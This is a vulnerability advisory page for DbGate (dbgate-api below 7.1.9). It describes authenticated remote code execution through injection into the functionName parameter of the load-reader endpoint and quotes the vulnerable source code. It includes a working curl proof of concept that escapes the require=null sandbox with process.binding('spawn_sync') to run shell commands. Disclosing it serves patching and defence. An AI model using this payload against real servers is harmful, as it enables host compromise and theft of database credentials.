Alta

DbGate: Remote Code Execution via functionName injection in loadReader endpoint

Publicada: 05.06.2026
Actualizado: 11.10.2026 10:22

Summary

The POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction.

Details

The loadReader endpoint in packages/api/src/controllers/runners.js (line 353) takes a functionName parameter from the request body and passes it to compileShellApiFunctionName() which performs no sanitization:

Vulnerable code (permalink):

  loadReader_meta: true,
  async loadReader({ functionName, props }) {
    if (!platformInfo.isElectron) {
      if (props?.fileName && !checkSecureDirectories(props.fileName)) {
        return { errorMessage: 'DBGM-00289 Unallowed file' };
      }
    }
    const prefix = extractShellApiPlugins(functionName)
      .map(packageName => `// @require ${packageName}\n`)
      .join('');

    const promise = new Promise((resolve, reject) => {
      const runid = crypto.randomUUID();
      this.requests[runid] = { resolve, reject, exitOnStreamError: true };
      this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));
    });
    return promise;
  },

The loaderScriptTemplate at line 57-68 directly interpolates the compiled function name:

const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;

The compileShellApiFunctionName in packages/tools/src/packageTools.ts (line 30-35) performs no validation:

export function compileShellApiFunctionName(functionName) {
  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
  if (nsMatch) {
    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
  }
  return `dbgateApi.${functionName}`;
}

Two injection vectors:

Without @: The entire functionName is appended after dbgateApi. without sanitization
With @: The part before @ (nsMatch[1]) is appended after .shellApi. without sanitization (only the part after @ goes through _camelCase)

Although the script template sets require=null, the process global is still available. process.binding("spawn_sync") provides direct access to spawn child processes, completely bypassing the sandbox.

Compare with safe code in the same file (line 292):

  start_meta: true,
  async start({ script }, req) {
    // ...
    await testStandardPermission('run-shell-script', req);  // <-- Permission check!
    if (!platformInfo.allowShellScripting) {                 // <-- Platform check!
      return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
    }
    // ...
  },

The start endpoint requires the run-shell-script permission and checks allowShellScripting. The loadReader endpoint has neither of these checks, making it a privilege escalation from any authenticated user to full RCE.

PoC

An authenticated user sends a POST request to /runners/load-reader with a crafted functionName:

bash

# The malicious functionName breaks out of the expression and injects
# process.binding("spawn_sync") to execute arbitrary commands.
# The // at the end comments out the remaining template code.

curl -X POST http://TARGET:3000/runners/load-reader \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -d '{
    "functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
    "props": {}
  }'

This generates the following JavaScript that is forked as a child process:

const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
require=null;
async function run() {
const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({})
// ... rest of template
}
dbgateApi.runScript(run);

After the request, /tmp/dbgate-rce-proof contains the output of id, confirming arbitrary command execution.

A standalone PoC script is available at: reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py

Impact

An authenticated user with basic access (no admin role, no run-shell-script permission required) can:

Execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process
Read/write any file accessible to the process
Pivot to connected databases by reading connection credentials from DbGate's storage
Compromise the host system - in Docker deployments, this typically means root access within the container

This is particularly severe because:

No special permissions are required beyond basic authentication
The require=null sandbox is completely bypassed via process.binding("spawn_sync")
The loadReader endpoint lacks the permission checks present on the start endpoint
DbGate is commonly deployed as a web-accessible database management tool

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	dbgate-api	< 7.1.9	7.1.9

Referencias

Puntuación CVSS 8.8/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE): CWE-94
Plataforma: npm
Paquete: dbgate-api
Publicada: 05.06.2026
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-hv83-ggc4-v385 - CC BY 4.0

Historial de vulnerabilidades: dbgate-api

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 2
Primera → última: 06.2026 06.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Crítica 1
Alta 1

Divulgaciones por año

2026: 2

05.06.2026

DbGate: Remote Code Execution via functionName injection in loadReader endpoint esta entrada

Alta · 8.8 CVE-2026-48017 < 7.1.9 7.1.9
05.06.2026

Authenticated Remote Code Execution via loadReader functionName code injection in DbGate

Crítica CVE-2026-47670 < 7.1.9 7.1.9

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación